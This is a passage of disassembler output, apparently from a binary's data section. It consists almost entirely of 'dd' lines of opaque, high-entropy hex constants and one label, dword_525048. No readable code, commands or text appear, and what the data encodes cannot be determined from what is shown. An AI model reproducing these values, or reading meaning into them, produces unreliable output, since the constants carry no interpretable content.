88782C2Ch, 22452C98h dd 9B3199BBh, 177B5828h, 0EC81C284h, 57F162EEh, 9E119B5h dd 388F654Ch, 86FB0784h, 104C0C3Ch, 216E1D24h, 4D004064h dd 0F463A6A1h, 5888A42Eh, 0BA87003Dh, 52E9CF4Dh, 0C9A9C02h dd 744CAC62h, 0E9EE5402h, 0CEC3755Ah, 0FA660328h, 0E1317BBDh dd 39EADBA0h, 0ACD06A6Ah, 0A1D0780Bh, 2833FFD0h, 0FC006832h dd 241AAE0Fh, 0C86BCD2Dh, 0BE140030h, 9ACF6E8h, 60316843h dd 0F9797420h, 73091BA3h, 91BE19A4h, 27108424h, 24928C50h dd 8435033Dh, 21CE72AAh, 403C68D8h, 31E355Eh, 0C9DA8C2Ah dd 0B1504978h, 7B978610h, 101EEE26h, 94CF984Ch, 6830891Ch dd 0CA4FA8A0h, 0D0006CFCh, 7B165061h, 0FEF22606h, 0D9B9D85Fh dd 0AC00A0B3h, 3FC9662Eh, 7C24FB3Ah, 4EEF24BAh, 34F343C0h dd 9098D900h, 0B9865092h, 402B18A0h, 0A9E4897Eh, 0B30EB8B8h dd 0F479A838h, 0E1D6056Ch, 508815B6h, 0AE1E052Dh, 0C492285Dh dd 6B24CCD4h, 9028B0DEh, 5DA0B200h, 6F5F8624h, 0AF27E822h dd 351718h, 0B3ECBFDCh, 3F03522Bh, 50ED7B14h, 16F0A3EEh dd 2AA3F1h, 79AB40E0h, 672E5402h, 0D40030A5h, 2CC024AEh dd 0FB3500E6h, 0AC4A8626h, 7F6008DBh, 0BCEC9CE9h, 12313E37h dd 0AB2E4052h, 0FC3B0094h, 15FB8BA9h, 0B0C4B95Ch, 8267380Dh dd 0E204F8E4h, 0D592FB2Ch, 0C8E864C2h, 5CEDC0F0h, 0F4078819h dd 5533B695h, 0FC5D5Eh, 3DED28B9h, 6800A952h, 20A467A8h dd 1F067FDFh, 16C71A2Ah, 26F04457h, 405FC52Dh, 0DCB97D64h dd 53247397h, 1A80D86Ah, 9951BDF9h, 486CB0BAh, 2601D7EBh dd 0CAA7EFB3h, 0F6E0DBE9h, 0FA2A7E4Fh, 0A24CA4AEh, 50E800B4h dd 3EBCCE99h, 238C7EAh, 125851B1h, 0A9577066h, 16D03A50h dd 0F84608A6h, 0EB147002h, 0B0434CE9h, 0B80AA7F8h, 40A6CE00h dd 26033301h, 27830346h, 9F19A8C9h, 602020DDh, 0E401A714h dd 0C9AEAC9Eh, 1C700FF0h, 3E750027h, 74D3067Ah, 6F0F9993h dd 40D2BD3Bh, 0F6A47F1Ah, 0D4BA5459h, 0CAE01954h, 30D119C1h dd 0B34305FCh, 0F62AF21h, 20300B0Bh, 3028EA97h, 2711C0BFh dd 3B28D24Dh, 0D8B250E8h, 0AA0E15EBh, 7158A8ABh, 2002E425h dd 88E1C984h, 1ADC207Eh, 0F449E902h, 214256D7h, 30684839h dd 0B200E370h, 0A5F506E1h, 0F0752867h, 2A5701B3h, 0D1CDFF2Eh dd 25E860A3h, 0D8785B30h, 0CBBD244Fh, 0B002D849h, 94815673h dd 9F2557B8h, 98C06138h, 72A888CDh, 15C005BAh, 325E53DFh dd 93307808h, 2EAE3E03h, 0C50885Ch, 0B42000A6h, 6CDA5FFEh dd 0DB29C91Fh, 17C24457h, 16D4C529h, 70C800A9h, 49D4E2EEh dd 0CE07F87Ch, 5317D13Ah, 0C80CBCE5h, 84B13832h, 1B6E2805h dd 0C488A9DEh, 5C2E3959h, 0D0AB4195h, 0C98CA002h, 0C0711956h dd 0E0104E65h, 2BCC43D4h, 2B64B06Dh, 470A489h, 0AEA4A8DEh dd 384F60A3h, 305973Eh, 0FB33741Fh, 0CE186600h, 0A43CB0C8h dd 323E2108h, 0BA3A0881h, 88A8C928h, 12EAFAB0h, 0F461BC8h dd 0BE0D5914h, 0A4D040FEh, 5092E87Ch, 9F13DE02h, 4033D482h dd 253B2CFCh, 0DC944119h, 6604E6F4h, 0DBD032A5h, 0D37BB0D1h dd 0F4874989h, 0F83F6010h, 77006AEEh, 70BFA6D0h, 7A676192h dd 17A2FCA8h, 1CAD2B11h, 53F740C0h, 2379A659h, 0A56FEB09h dd 0C3EA0E78h, 0F6DFD031h, 83F60E68h, 0F0E91103h, 278760C1h dd 8A7F10B0h, 0F031CF04h, 754F6DBh, 0CDFA65ECh, 17442189h dd 0E0313443h, 0B2250060h, 912851B8h, 827ED707h, 4026B110h dd 7E4AFB04h, 8D5A03F7h, 0AE1291Bh, 93B1858h, 0C0FEFFCEh dd 2CA518C0h, 806C9569h, 0B9C3A30Eh, 4602831h, 0BB622691h dd 37A8003Fh, 0B5E2730Ah, 0AA00E87Bh, 6D3C5D31h, 29E6DEA5h dd 42C0FF42h, 800E0D01h, 965350BFh, 5CAC000Ah, 746CE3D2h dd 590BB187h, 493A6B2h, 0C8D09A10h, 0A05BC0FEh, 5205B918h dd 318830E7h, 0CD8A3C87h, 0A3C021F9h, 0E8D7AB81h, 5A0F71h dd 0A811CAF0h, 543CC8EFh, 84D0A554h, 9B058590h, 47FC3A60h dd 2EC99001h, 0A071CD4Bh, 5F2C1888h, 0FBB15341h, 20852F2h dd 24E3BCAFh, 44C9D727h, 94006D5Dh, 0CC6E1653h, 430300DBh dd 209326Ah, 4B216802h, 0D0D1EBB1h, 60A405A4h, 450A34A8h dd 7FBFD8h, 7DF8AE08h, 6560F152h, 0EFC5091h, 6349013h dd 79426B73h, 0BF01581Bh, 627EE6D1h, 0E872E751h, 10CA7B00h dd 679C26A7h, 4E1C0E7Ch, 0E58042A6h, 0DC5634ACh, 0DA571FEFh dd 4AE80AC0h, 61660080h, 0AD472E7Ch, 6EF88C4h, 59FDF0F4h dd 0D300D0CAh, 5FE7180Fh dd 76070766h, 75FA34D1h, 521B046h, 26E8A065h, 647480F3h dd 0D839B9DCh, 0FEBC8039h, 0F141371Dh, 0E0EF00ADh, 5732E4F2h dd 0B1000355h, 2C82A54Fh, 763CE879h, 74310936h, 988CE3A1h dd 3D0C6528h, 20ED9C88h, 0B4EC79h, 0AE06C977h, 1977098h dd 9F209174h, 0ACCE003Ah, 173D0C77h, 2509E446h, 0F020FF45h dd 0EBB20094h, 0F13C70CCh, 6851B73Dh, 1623F0EDh, 58FC1A0Ch dd 7F6108Eh, 689E2757h, 60EEA734h, 4731413Eh, 9CF87A7Fh dd 59895100h, 71433C83h, 78D600B0h, 0D05A8A3h, 0FC0F1ED3h dd 20F12A86h, 0D55CA1C5h, 0B6CB18EFh, 6C5228D4h, 1A15C11Ch dd 748C211Eh, 604E083Ah, 5B520D5h, 0BF0337C1h, 0C096C65Fh dd 0C966F0CFh, 1FAAFA04h, 8073559Dh, 60F46570h, 4B48E971h dd 0DF420010h, 9AE6F2A3h, 0A0C2602Dh, 17BEF829h, 0A261C91Ch dd 1E9C9D07h, 28F29EC3h, 7CFD4570h, 7B11DF65h, 0EAF6958Fh dd 1E03186Fh, 0D6E11AAEh, 0E02080F5h, 5CC79504h, 0FCD000B7h dd 0C251BB6Ch, 7437C9E5h, 0A69F8831h, 0D80B97Ah, 0B4CC1EBh dd 0ECB0F0B8h, 9F18C560h, 0C17BE230h, 0AF95EB0h, 0EF4800B7h dd 0C8B01AA2h, 580A897h, 0F33991BDh, 0B459E600h, 0D27B2E8Bh dd 1699875h, 381D49C3h, 0C4B9D40Dh, 0A2501B52h, 110197F9h dd 91F99A4Dh, 57D037FEh, 3C3B1F17h, 0DC1007BEh, 0A68009Fh dd 0BC031B3Dh, 0FC978E01h, 3E77B01Ch, 2BE075Ah, 200C4F88h dd 7069992Fh, 89A7E90Eh, 2215E0EBh, 0CAB757h, 0C8E10765h dd 2072E5EAh, 8000F7Fh, 96A5CD53h, 0C03AFAh, 0B08F9CFEh dd 0F62F21BEh, 3818021Eh, 0EE5A783h, 369BE082h, 981C0ED1h dd 2D8F5F67h, 57BA803Fh, 9499AD16h, 557D8903h, 0C038715Dh dd 1F66A90Ah, 403F6325h, 0F41654F0h, 70032905h, 17973BEDh dd 164D3ADh, 4C3CEE40h, 0F4449249h, 0A9005D53h, 0D880051Ch dd 3ECA3565h, 0B903CD5Ch, 0AE71B59Fh, 0D7EE7901h, 5C17BAB2h dd 0B4B3118Fh, 0E5783B80h, 560CA429h, 80EFBC3Fh, 0D8060042h dd 0A6B645D6h, 0DB3FA372h, 0FD28C3Bh, 0FF413Dh, 0CA8DC197h dd 0D448CB71h, 95BC661Dh, 53CC6F00h, 0E0AD8891h, 75B60C92h dd 95396018h, 97069E00h, 3830BB39h, 314C0E84h, 5C47216Ch dd 3583900Ch, 0BE033F73h, 0BA54EEAAh, 0AE5A82Fh, 265D7075h dd 0D971F2h, 0E3098115h, 6006BD02h, 200B0DBAh, 1C39E2F9h dd 686CFD80h, 60EE78A0h, 0D91E518Ah, 3B3A3C07h, 56BD3003h dd 2C58D6Eh, 0AEC91652h, 0DE86CDDBh, 0B900D0BFh, 0EC910FEAh dd 4C66B30h, 0A3BF417h, 89A10C0Dh, 98BA2AA7h, 0F34001A0h dd 4B4AC46Dh, 2CB12FD4h, 5850BE4h, 0A3C07A13h, 0CC5E22h dd 5FE53C44h, 6A003904h, 0D12D1499h, 3FA75503h, 0B7870B17h dd 40D3ED0Dh, 0EA91912h, 9DE6803Ch, 3874F96h, 0E3E02ED5h dd 74DB0A4Ch, 5F35038Ch, 45E5A946h, 0F4257D8h, 60FFD600h dd 0A612863h, 3C4971FBh, 52186A35h, 5D328E6h, 44B10E40h dd 3184F75Eh, 0AF512B18h, 0C298802h, 84939061h, 0EB46C05Dh dd 99007804h, 0D112374Bh, 0A01AE7h, 28ED5879h, 0F5CB1790h dd 1E0B65F0h, 0EBEC3Bh, 2283F13Dh, 3FE042h, 0B8DDEDA9h dd 26E36F56h, 0DE76DAF6h, 0F0F2E513h, 0E40A5900h, 487B22h dd 0BFBBB3BCh, 56264121h, 36FEE900h, 0D23A241Dh, 0B9621292h dd 0E6AE0133h, 6A5E1B4Ah, 2ABED980h, 907A0045h, 0E9F5B9A7h dd 21F692Fh, 3B406A5Ah, 7F6E277Eh, 0FB0900CBh, 0E12F2E92h dd 0A203C14Ah, 0EB8D98F1h, 141C034h, 255E00A9h, 0AF54DE1Fh dd 2400F6D5h, 0EB7354Bh, 860427h, 61F7DA7Bh, 0BFD01D34h dd 0FB41691Dh, 0BDFFB740h, 0CE2E14h, 0C20499F6h, 0C18DF45h dd 7411FC1Eh, 52E0DD40h, 60A746B8h, 0DAC47054h, 71003E23h dd 0A0539DEFh, 0F35E6B0h, 345EAEA9h, 33AC1442h, 9A3B1040h dd 301DE400h, 2C83E1C5h, 228F1E50h, 9D250072h, 9446CC44h dd 660EE91Ch, 14950FC0h, 17F5EADh, 9B449867h, 0F4170618h dd 0DB398424h, 7582C87Ch, 0A03C9500h, 4F014CB3h, 8F04383Bh dd 9B530B00h, 0DD9B7E4h, 8E6E7F00h, 1536B3C4h, 7A3803EAh dd 0C51FBEC7h, 0A686A888h, 1E71E200h, 0C1F5A048h, 1CD000EAh dd 0DAF84597h, 9003A91Fh, 6A46615Ah, 7DE18FC4h, 35702E41h dd 390200A4h, 196B3EB8h, 0A20067F1h, 93E23B95h, 64BF18h dd 0C32DD569h, 0E41C8A7Fh, 0FECCD900h, 0B732906Dh, 66831F5Eh dd 19BA0773h, 609D80B5h, 280046A0h, 0A6C16180h, 925091h dd 0D3F4E121h, 0E6E39622h, 0F70E0D98h, 40697B62h, 5F33C4E9h dd 4DED3DD9h, 74870C00h, 9C976799h, 0CDC9FC01h, 907D910Dh dd 1FD7E0h, 6B412D27h, 0AFF03D66h, 4DCBEE00h, 0E132ACC3h dd 248D1F6Fh, 365AC31Fh, 0D7F8062Eh, 9B002C95h, 0CFAC021Ch dd 0E663111h, 0B1D31063h, 40F4A2A0h, 0F81F20A0h, 9B40E1BDh dd 0B6D1937Ah, 3B2206EDh, 0F86DCA9Dh, 8019E33Bh, 1214CE4h dd 5ABC69h, 4807872Ch, 0CB810361h, 0B955D1Dh, 1EA7B0C0h dd 770E380Fh, 0DF720791h, 3051B29Ch, 5ABAF205h, 21D45400h dd 9294A99h, 0E4660027h, 3B0357DFh, 0FA002DAFh, 0FC18F25Bh dd 796A1DE7h, 0E08B00D7h, 0C1AB834Fh, 0AD03950Bh, 7D1EA4BAh dd 0BE9FE060h, 82500039h, 0B112B9E1h, 0DD07987Ah, 4A81C938h dd 0DE7C6D71h, 3D6B7C30h, 8700EDC5h, 363E0C3Dh, 7600A432h dd 2CDD601Dh, 55E2CBh, 7771EAAh, 48C57A02h, 0C7CFB800h dd 8E0C50C0h, 0CEC11E76h, 0A3E6043Ch, 9B15C0D9h, 0DC1D6DFCh dd 0D6C0EC94h, 81C0946h, 0A61100B2h, 77C0415Fh, 0B9FE8525h dd 0FB319E0Eh, 6BCE00Fh, 90F69701h, 653B00F8h, 0EE7F367Eh dd 3501C06Bh, 297DEF44h, 0D0D4FA61h, 39124C28h, 932E3F07h dd 24C09F34h, 0D983B558h, 0EAD60C07h, 7A5031D1h, 5C131Ch dd 0C22C6FDBh, 159AD56Bh, 18A12303h, 90F69E84h, 2E0ACB3Ah dd 95C7473h, 870066E1h, 0C8A54D22h, 43A12C07h, 29D71Bh dd 50308ECh, 0B6900CDh, 9DE68B8h, 5F003822h, 7F3B4780h dd 7D2BE12h, 718652C3h, 0B27DC34Fh, 0F3F784C0h, 0EC7C677Dh dd 1C24301h, 209D816h, 7B5E470h, 0E29EA907h, 629AB01Dh dd 0F617D93Eh, 0D4008EE8h, 0F9111EF7h, 678D1F68h, 7FF280A8h dd 0AFC503B2h, 704BEC2Ch, 0D707C304h, 8D6B0080h, 0D1AB05F8h dd 0C0E81D37h, 55683D7Bh, 0C3DB9400h, 777615B3h, 7C78DEh dd 0D9CB9016h, 42A11832h, 0F9AE6600h, 47DA3D2h, 0F88107D6h dd 7114E42Dh, 0DD2646BFh, 0A0CFE037h, 0EF1ACC0h, 3B2138Fh dd 83345867h, 0DFCB4CF9h, 1F0BC0C0h, 87CAFC0Fh, 97E96039h dd 6CCF35h, 5923162Ch, 79159F0Ch, 6501A100h, 9B70D8CAh dd 0D2A50777h, 90D7311Eh, 1618A9EDh, 116A9100h, 926D5AE2h dd 65840014h, 0F47C1C79h, 8F7B9B52h, 40AEEA01h, 482A71EFh dd 7D3A8C40h, 0CDF00008h, 0C930FF82h, 0B3007A5Fh, 144AEFA1h dd 0CA6F50h, 92B56388h, 5BB8FA32h, 0E008AE00h, 690D2D3Eh dd 818B386Ah, 2C805538h, 0FF5087C7h, 0F0582F35h, 921400F3h dd 0E7720BC9h, 7A42EAA4h, 38B0F3h, 0AA5448EAh, 0BE3D1682h dd 1A1D3C07h, 0E41DD0Ah, 79F47A3Eh, 0ACF700CBh, 6FD015B2h dd 5E5CC15Bh, 0E93E35h, 2991D5F4h, 723F090h, 5A33F1ADh dd 0EB305C49h, 48E0E500h, 0BB5389E7h, 508B00F7h, 4DF8D0AFh dd 5B7607ECh, 61026670h, 3F3A649Bh, 62A8C0D4h, 28CF0E7h dd 6F7B37BDh, 5040A513h dd 0EA009B60h, 0CC3B56C0h, 32A09Fh, 4CCB1AD7h, 0C62971E8h dd 0A737E607h, 0ABD01214h, 5E6FBAh, 0C8347CB0h, 2F95CAEFh dd 0F700D973h, 2E4906FDh, 0EE2DC1Eh, 46AA6376h, 0A4F6EF60h dd 0FF1F444Ch, 6D40DB3Fh, 0E3350317h, 46690062h, 4B55C41Dh dd 0ED172BD4h, 62019A1Ch, 47B73652h, 0E6711872h, 0CDF8260Ch dd 0F58E00FCh, 0CCDB39A3h, 9DFB10CAh, 85D45E00h, 0D371AAh dd 2DEC097Ah, 1DDEFF5Fh, 0DC00C3ECh, 0C440459Ch, 1E2E75Bh dd 0BF84F4D4h, 643723FEh, 2A005954h, 82E024EBh, 1F28BA39h dd 0AEB07F44h, 238E0760h, 0BD542017h, 0DB00AB09h, 39CD110Dh dd 7517889h, 7F0158EEh, 0BF68C025h, 0E91FAB8Dh, 0BD9C7948h dd 0F90F2F80h, 0FB0832Bh, 29261963h, 3F778F8h, 5B73E116h dd 0D9AA7060h, 0F07C7119h, 0C98D0374h, 0EA6201D3h, 695C1DB0h dd 95549700h, 3DC2E17Eh, 15AF0024h, 6150B539h, 0FF06EB8h dd 948FD700h, 7C2FD89Eh, 958A3FCFh, 9751E004h, 31EAC0A9h dd 0FA16E740h, 6800B17Bh, 4361888Dh, 0D3DD00DBh, 0EDFE191Ch dd 0E61D36BFh, 4B801A7Fh, 0AD687508h, 90D014D5h, 0E002906Eh dd 74030AF7h, 5C9DD4A0h, 7E0025EDh, 0C5637F2h, 16DBEF50h dd 0F406E7h, 745B55D8h, 7205D4E3h, 284285E6h, 9CA47480h dd 3FCD18B4h, 7CD31031h, 4AF28300h, 0F5FA262Bh, 0B58D00D0h dd 0D66D042Ah, 0C9EE14FBh, 0A203C000h, 425606E2h, 5C67730Dh dd 0F100A8F2h, 5F79EF0Fh, 40093CBBh, 0E661F5h, 0B803E5C0h dd 505200A8h, 15B1226Bh, 8900E4DDh, 0A93E4AA2h, 3159CDh dd 82887926h, 0D5B65828h, 69784E09h, 0AB3C60E8h, 0C7430070h dd 19511BD4h, 0BC187211h, 7EE80FCAh, 4AE1CFDh, 1FCC2675h dd 8F64071Ah, 350E5159h, 0BA199296h, 76343B00h, 1EF353h dd 425A26C0h, 890FB2AEh, 0DB5B9305h, 60C10B50h, 52F48C9Ah dd 1413A65h, 4A770BFFh, 482D607h, 0CCC00E33h, 2F3EDCDFh dd 7E00F587h, 4DEF29B3h, 70C258Ah, 0FD11FCD7h, 7074F093h dd 21E77F40h, 920ED038h, 0F275B300h, 0AA05DE0Ah, 0C7101DBh dd 95F60D69h, 0C51430DAh, 2F13FB79h, 19000E5Dh, 0F442B890h dd 0ABF0308h, 6C301462h, 1DC73600h, 38D12E2Fh, 0FE767Ch dd 6B09CB10h, 874B0EBDh, 9626C403h, 0F9315878h, 3D70944Fh dd 0EAB0A008h, 427D092Dh, 0A4204DBEh, 0D1B4AA8Fh, 25FAFD09h dd 0B0F8A0C0h, 0FBDFA4h, 9E68080Ch, 3D91715Bh, 3AB9DD0Eh dd 0C550C0B5h, 4C973824h, 0F077F0F9h, 4B9A16BFh, 2F590AF1h dd 44A9098Ah, 39412780h, 0B40EC888h, 6F3E503Ah, 9CE2A05Dh dd 37B0E4h, 5B2A0313h, 0DA4B1BA0h, 0D3A8C800h, 95609F8Ah dd 0FC3C004Ch, 0E86AAE6Eh, 0A767093Bh, 0CB404D48h, 99EADCh dd 0D6026633h, 5E79DA4Eh, 88381E00h, 263DDF53h, 615B0014h dd 77F1191Ah, 7900A712h, 981C5025h, 75C89D93h, 45D80769h dd 0B07768AEh, 2F740228h, 464BF80Eh, 22C0DEB2h, 53E4ECB7h dd 26D7B39h, 957F1884h, 5C0C481h, 0E0B85175h, 0B8E15800h dd 1CBF4F45h, 1449240Ch, 0F53BC0h, 4E33D215h, 0D4FC8AC2h dd 12F60103h, 88A5B7E5h, 0B01050BAh, 683409B4h, 5CA0F729h dd 0DC7F4859h, 0F8C1E400h, 678893F2h, 84B55087h, 81E9006Ah dd 24861620h, 1005366h, 87795E05h, 759315A4h, 1E3100B3h dd 713927E2h, 0F450DBDCh, 0BC000CABh, 6234F1E0h, 5B0EF8h dd 25E9A85Ah, 1D44FFB9h, 99946900h, 1BD14A35h, 0A6B70453h dd 0E1173FD5h, 173CD948h, 0F1B35110h, 0B0D80F6Eh, 9D4C05B8h dd 0F40756C0h, 0F57EFEECh, 50A2C160h, 762C01D5h, 14273A8h dd 846E70A0h, 0A303791Fh, 77D69B86h, 0E5E12760h, 0BA6ECC00h dd 7100E046h, 296A900Dh, 7DCF9F6h, 9277FEE9h, 4853B091h dd 641C4324h, 6A005F15h, 0B804B02Bh, 5DFE11h, 855946A0h dd 0EC829B94h, 0A96ACCA0h, 138EE3Ah, 0B6906C21h, 0EBCCD7F8h dd 2BF61Fh, 9E469A7Ah, 0C634DC09h, 0B703AF73h, 0D2555E48h dd 3A80077Ch, 10FF0B1h, 0CB6FD45Bh, 8F1325B8h, 3D667809h dd 6DA98077h, 0A17D71h, 271C5219h, 0D5326CE1h, 18034C00h dd 5D17939Ch, 87190329h, 0BD9AF48Ah, 126561F0h, 0DCD70401h dd 5618A871h, 1FC589FCh, 43D34663h, 211FA4FFh, 0F12B48F8h dd 85819D00h, 0DE026B91h, 1FE0F206h, 1C9C083h, 0E78C3C45h dd 877030E1h, 4BEA1100h, 428040CCh, 9C10221h, 0A1D49EDAh dd 0C9745C60h, 4B894C01h, 0E6F8A6A2h, 3B1E3E8h, 0C6BF9878h dd 18C92B44h, 0A75D48Eh, 5E846A01h, 0C040689Bh, 7A00742Ch dd 0D48874D3h, 0E03D567h, 0C845149h, 7F12C87Eh, 0F9A7CE6h dd 38F6FF45h, 2F160F5Fh, 66922821h, 0E39EE85Ah, 0B058E90Bh dd 91C48A67h, 1A05614h, 1AC2C592h, 8DE99A2Ah, 1900683Ch dd 0FD03E09Bh, 0B6F64A29h, 87669E00h, 0AB69F355h, 0A0A2007Fh dd 5E58B4D5h, 0FFEA7DCBh, 5C8C6602h, 638235C0h, 0F7949098h dd 0EE7E22Bh, 158D8825h, 0EE1090A0h, 30F833Eh, 0E04A8205h dd 0FEE8C013h, 92910049h, 11153CD2h, 1D00C8E2h, 0C30F3EDFh dd 2E700A94h, 0EF8B14Ah, 0C5603A4Dh, 0B9E4CB56h, 761BB400h dd 0CDBE0BF7h, 30FF0116h, 0FE27ED97h, 8981D4EFh, 508DC104h dd 6E80F721h, 23BEA2Bh, 4EE6A287h, 0E3602CA0h, 0C20006C7h dd 0FEC85B2h, 1D37D0h, 8BD8FCA2h, 3E27F628h, 6726F501h dd 7030FE66h, 1480EF44h, 0A612CDh, 0C92927E9h, 42DF825Fh dd 89056D78h, 59DB2EE0h, 5CD0E600h, 9153F9Bh, 62A6BA65h dd 0BD354800h, 0FC00C875h, 7B444208h, 50727CBh, 1885733h dd 9E80BA47h, 46CC21h, 1876858Dh, 0A5A224CBh, 0D8BDBCFEh dd 6B49001Ch, 3F7E81C8h, 0D948CC2Fh, 0AA530054h, 0D5EE02EFh dd 0DD392465h, 8AF1008Eh, 0B36BFA38h, 0DFEDAB0Ch, 17B36E5h dd 0FF2AA8Eh, 0C0288C65h, 0A700995Dh, 9E231A9h, 92A1F81Eh dd 27D5E654h, 0C81C9A60h, 0DAE6DF00h, 510E87ABh, 0B97A0016h dd 6DCE4A4Ch, 600B7CCh, 11B48408h, 217975Dh, 99043D3Ah dd 843ED4Ch, 0D5D430CFh, 0D39067DAh, 4F0DF700h, 10F4A577h dd 9B8100EBh, 224563CEh, 7501C13Dh, 937CC30Ch, 0D5C98204h dd 33C4E3EDh, 4C12006Bh, 8AAFCCB0h, 0BC008840h, 3A0CA0B3h dd 954B85h, 64FFCD4Ah, 0F3891CBAh, 0FDD66700h, 31516CADh dd 0F20C1C21h, 2EF980D4h, 6B4D3712h, 0C6015B98h, 0C20925F7h dd 7C2045B0h, 0DFB0035h, 0B7ED9A32h, 9E00026Ch, 20112CC8h dd 35F70DFh, 171857B1h, 6FD85E63h, 0E9FAE106h, 0CD5AFB0Fh dd 89CE83h, 0B080614Dh, 6C261D16h, 0E5434CD7h, 6200B760h dd 8A842E7Eh, 0F34080h, 0EB27A1FFh, 0A6ABD11Ah, 2F556412h dd 4EB00C80h, 3F1531DFh, 0D0C71E20h, 91181F34h, 0E351A901h dd 0F10400D1h, 634EBB5Eh, 24E8846Fh, 0D8BA7A00h, 0ABD2E52Dh dd 4B6C01DEh, 0A9BEF814h, 1F388350h, 0E367EB4Fh, 8041F551h dd 2B2326ECh, 6F328180h, 44A6BF66h, 6DF7FF14h, 0DA7C0014h dd 0C37EDC80h, 0C6E50CDh, 4CA05002h, 1AB0CF15h, 3B8A3E8Eh dd 90EA4020h, 0B7013040h, 24B620A3h, 6E0612Dh, 22D700D9h dd 39D36CAh, 1900AD57h, 0D4B9510h, 56960Fh, 0FD4DECB0h dd 13FBC191h, 37829E01h, 6C20BF53h, 19283D0h, 1EA0D38Eh dd 0C5A77CBEh, 9BA0FB21h, 483AAFECh, 0D3568025h, 0A3CC50D9h dd 0A0C00F1Ch, 0BA6ED8E6h, 0A9B90BC6h, 98F6AD00h, 0BDE2B16Fh dd 51610092h, 0A25F214h dword_525048 dd 0EC161586h, 4C3855Fh, 9C4EDD74h, 0F0D2216Fh, 83D82B0Dh dd 49E70330h, 62CF5A5Fh, 9E3619F8h, 3010CD30h, 30CC9939h dd 6D488F54h, 0D1069720h, 0E70B930Ch, 84FE89h, 4AAD8C42h dd 63BF9C85h, 4BB79600h, 55D617E7h, 71F70087h, 0E99014BEh dd 5D7ABD36h, 0F65CA107h, 3372D009h, 0D833E3B7h, 3058B257h dd 8AB1297Eh, 1439E1FAh, 0D03C80BAh, 0F86BF027h, 73153FB2h dd 0F8EC397h, 78800B88h, 14A8D001h, 30F0895Ah, 44F09753h dd 0A4AEC600h, 0A7D6DE81h, 0D33000FAh, 20EE2D4Ah, 9F1B670Eh dd 0E041BAFEh, 0D4C4F7h, 55886D85h, 0C0398151h, 0CC135600h dd 9F573099h, 178BDADh, 54F89D78h, 0D7687500h, 2C4186DEh dd 6B9800FAh, 56E3249Ah, 71050CF6h, 513913F1h, 8B451408h dd 9A888931h, 6ACC00EDh, 8A27D55Ch, 9D01E8EAh, 1F57F680h dd 0DE604F83h, 9A1800BFh, 45D622EFh, 490E9C78h, 230E6Eh dd 801D4FFEh, 0CE830057h, 0DA9E6A77h, 0C9000BCAh, 5E1BF564h dd 1E197F2Fh, 803B3428h, 0E5B07605h, 2C7542F8h, 0A73D5B7Eh dd 0CC790088h, 0A9222A8Eh, 0F2E81Eh, 64F93C1h, 0EBEDD477h dd 0B8FBE00h, 88709782h, 84A39Eh, 3E2504CEh, 7B645D0Ah dd 6EEFE78h, 8CDA5906h, 360B80Eh, 8721D2B2h, 0C6E881F2h dd 0DB00F4DDh, 97BD9111h, 931CF8h, 0D92B0E8Ah, 0B9A0741h dd 5BFC6500h, 3A4FF238h, 635C0B0Ch, 2003CF1h, 0EFE980F4h dd 932CEAA0h, 18003FE2h, 74681519h, 0BCA7E8h, 14F59B36h dd 942C9AAAh, 803DF93Ah, 84B3698Fh, 0EA227Dh, 0E332D949h dd 57E925A1h, 12FB9200h, 0BE55ADA7h, 12B6EA9Dh, 1CBC436h dd 72056604h, 1A5DE474h, 0E800F390h, 0A64CDF8Dh, 609551h dd 36098AF8h, 0D8C73C1Ch, 6DACCB01h, 0BA1DDD85h, 3EA76FFCh dd 0EE00776Ah, 0F01574FEh, 89388739h, 7603FBAEh, 187F4136h dd 491802F2h, 84CDC933h, 0BA05F085h, 71220BC0h, 0F9D10EBCh dd 0FA07FC45h, 5814804Fh, 0C60041F7h, 0DAC49B01h, 1899A7BBh dd 409AA3A6h, 0D4013ACCh, 43E6A1B3h, 85CC5F19h, 74F14809h dd 556D4A0Fh, 0E89ED4C0h, 7200AACAh, 9C61BB44h, 1EB741F5h dd 4CF2C4h, 11B8D0D2h, 35003C85h, 0DFF49189h, 17AA204h dd 97653390h, 80665303h, 9C712E79h, 0D18FFBh, 682FF926h dd 608C532Ah, 66F70300h, 15EA14BBh, 0ACBA1832h, 0C8ED10ABh dd 0A47D6C17h, 0C1979200h, 0F0B16A5h, 8E6D251h, 8D4B25h dd 1E3713CCh, 5F00073Dh, 0DBC50594h, 59EAFCh, 381BBBEDh dd 96DE8BA6h, 0A8E83300h, 9C2677Eh, 0CCE3095Fh, 0D700770Ah dd 0DF5B87F0h, 8C75411Ch, 4804AE40h, 0FE7C98h, 3177096Eh dd 0AD841E57h, 0A276FC00h, 0E09D509Fh, 44DD0EB2h, 81A08EBCh dd 9AED6797h, 518398C7h, 0CE0AE8F0h, 155766Fh, 43FE630Fh dd 8085A602h, 8974F410h, 6F1A028h, 0B0F93579h, 5EEAD8CDh dd 1EED9400h, 7EAF87D4h, 256600BEh, 0E776CF7h, 6F9038A3h dd 0C0E38D00h, 92709C68h, 0FAC2003Dh, 0CF693119h, 0A200FF47h dd 44795556h, 1FD71E1Ch, 12F9A8h, 52749015h, 0FA7DAC78h dd 7B285Ch, 0CAE5929Dh, 0D308Eh, 0F4C577C4h, 50E296B9h dd 3C7539h, 6EC38271h, 81A8E0h, 7D4C7B76h, 0DE1B5542h dd 5D2F1803h, 26C2A07Ah, 80AC32C8h, 0EFE11CCh, 8003B3DBh dd 0B62DE896h, 5E84E8F0h, 9A7032Ah, 0D873D0A5h, 499F22D8h dd 6AD27200h, 0F132F7CFh, 9486093Eh, 9020998Fh, 9A5FE3DDh dd 1684FA00h, 6335A825h, 59021C57h, 0DC1C02D0h, 0A48799ABh dd 12CF20F7h, 0BA4E42BDh, 5120CBE1h, 507848C9h, 29E5AD09h dd 902488A7h, 344D18D4h, 72300B78h, 4C9C1817h, 98EE7F2Fh dd 79A3008Ch, 0A1930365h, 6700100Fh, 0B82FEABCh, 2D1FD7h dd 153A75F4h, 5DCD0D31h, 0B0E9B138h, 3C1E70BCh, 6697946h dd 0B9E47DDCh, 0C90118B3h, 0DD3B8C33h, 0CC2014BAh, 21940089h dd 13EE47B0h, 0C00A7C6h, 0AF1E0122h, 0A3B448EDh, 194DE8F0h dd 0D1160047h, 986FA127h, 0E005538Eh, 0DB513804h, 678C980Fh dd 0AAD0F3C9h, 321CA84h, 99022D3Eh, 54D009D4h, 1D986185h dd 3443ED00h, 0B35F641Ch, 840D00FEh, 8D27712Ch, 8C005241h dd 201A2BD4h, 0AF693Fh, 2AD3B1C2h, 0A5E94AF4h, 380D9F03h dd 8E7074h, 0D09D01C9h, 831B5137h, 633CAF0Fh, 